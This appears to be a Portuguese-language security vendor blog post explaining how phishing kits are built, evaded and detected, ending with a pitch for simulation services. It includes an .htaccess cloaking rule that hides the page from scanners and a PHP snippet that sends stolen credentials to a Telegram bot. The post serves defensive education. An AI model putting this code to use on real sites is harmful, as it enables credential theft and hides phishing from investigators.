Anatomia de um kit de phishing moderno

Um «kit de phishing» é a base de código empacotada e reutilizável que os atacantes implementam para clonar uma página de início de sessão, recolher credenciais e exfiltrá-las. Perceber como estes kits são construídos — e como se escondem — torna muito mais fácil detetar campanhas cedo e construir simulações defensivas convincentes.

O que vem dentro de um kit

Um kit típico é um arquivo ZIP largado num servidor comprometido ou num alojamento barato. A sua estrutura é notavelmente constante:

kit/
├── index.php            # a página de destino clonada
├── login.php            # tratador do formulário: captura + reencaminha credenciais
├── assets/              # cópias fiéis de CSS, JS, logótipos, tipos de letra
├── config.php           # destino de exfiltração (e-mail, bot de Telegram, URL remoto)
├── antibots.php         # listas de bloqueio para crawlers, sandboxes, investigadores
└── .htaccess            # reescritas, filtragem geo/IP, proteção de hotlink

Os kits modernos são cada vez mais vendidos «como serviço» (PhaaS — Phishing-as-a-Service), completos com painéis de subscrição, atualizações e apoio.

O clone

A página de destino é normalmente uma cópia byte a byte de um ecrã de acesso real, captada com um aspirador de sites ou um navegador headless. Dois indícios são comuns:

• URL absolutos dos recursos que continuam a apontar para o CDN legítimo (assim a página carrega logótipos reais enquanto o formulário envia para o atacante).
• Um <form> cujo action aponta para um tratador PHP local em vez do endpoint real da marca.

Os kits avançados fazem proxy do site real em tempo real (uma montagem adversary-in-the-middle com ferramentas como o Evilginx), retransmitindo o que a vítima digita ao servidor genuíno e roubando o cookie de sessão resultante — o que derrota a maioria da MFA.

Camada anti-análise

O componente antibots é o que mantém um kit vivo. Filtra os visitantes antes de servir a página de phishing:

• Filtragem por user-agent e ASN — bloqueia crawlers conhecidos e os intervalos de IP da Google, Microsoft, fabricantes de segurança e sandboxes na nuvem.
• Verificações de referer e geo — só serve a página a alvos do país esperado, redirecionando os restantes para o site legítimo.
• Limitação de taxa e ligações de uso único — um token no URL que se queima após uma única visita, de modo que uma amostra reencaminhada mostra um inofensivo 404.

# excerto de .htaccess
RewriteCond %{HTTP_USER_AGENT} (googlebot|bingbot|curl|python) [NC]
RewriteRule .* https://real-brand.example/ [R=302,L]

É por isto que um URL que a um analista do SOC «parece morto» estava plenamente vivo para a vítima minutos antes.

Captura e exfiltração de credenciais

O tratador valida apenas o suficiente para parecer real e depois expede os dados. Canais de exfiltração, por ordem aproximada de popularidade:

• SMTP / mail() para uma caixa fixada no código.
• API de bots do Telegram — uma chamada sendMessage para um token de bot, barata e resiliente.
• POST para um URL de C2 ou um webhook do Discord.
• Ficheiro de registo local que o operador recolhe mais tarde.

$msg = "u={$_POST['email']}&p={$_POST['pass']}&ip={$_SERVER['REMOTE_ADDR']}";
file_get_contents("https://api.telegram.org/bot$TOKEN/sendMessage?chat_id=$ID&text=".urlencode($msg));
header("Location: https://real-brand.example/error");

Repare no redirecionamento final: depois do «início de sessão falhado», a vítima acaba no site real, supõe que se enganou a escrever, entra com sucesso e não desconfia de nada.

Alojamento e entrega

Os kits preferem infraestrutura descartável: sites WordPress comprometidos, redirecionamentos abertos em domínios de confiança, domínios parecidos acabados de registar e, cada vez mais, serviços legítimos (Cloudflare Workers, IPFS, SharePoint, Google Docs) para lhes tomar a reputação de empréstimo. A entrega junta o kit a um isco — uma fatura, uma «reverificação» de MFA, um aviso de documento partilhado.

Deteção defensiva

Sinais que vale a pena caçar:

• Domínios acabados de registar parecidos com a sua marca (vigie os registos CT e os typosquats).
• Hashing de favicon e do DOM — os kits reutilizam os recursos exatos da marca clonada.
• Chamadas de saída para Telegram / webhooks a partir de servidores web que não têm razão para as fazer.
• Submissão de credenciais para origens inesperadas na telemetria do navegador.
• Relatórios agregados DMARC que revelam tentativas de falsificação contra o seu domínio.

A verdade incómoda: um kit AiTM bem construído derrota a MFA por SMS e por aplicação roubando o token de sessão. Os métodos resistentes ao phishing — FIDO2 / passkeys — são a solução duradoura.

Como ajuda a GottaPhish

Os kits de phishing modernos transformam em arma os clones fiéis e o roubo de sessão AiTM, que até derrotam a MFA por SMS e por aplicação. A GottaPhish e a sua equipa de especialistas ajudam-no a enfrentar precisamente essa ameaça: simulações seguras e totalmente auditadas que espelham kits reais — ligações com token, fluxos de captura de credenciais, cenários AiTM — com painéis que mostram que iscos pegam e onde a MFA aguenta. Os nossos especialistas apoiam a implementação, desenham cenários que reproduzem o ofício atual do PhaaS e ajudam a interpretar os resultados como formação dirigida e como sinais concretos de engenharia de deteção para o seu SOC.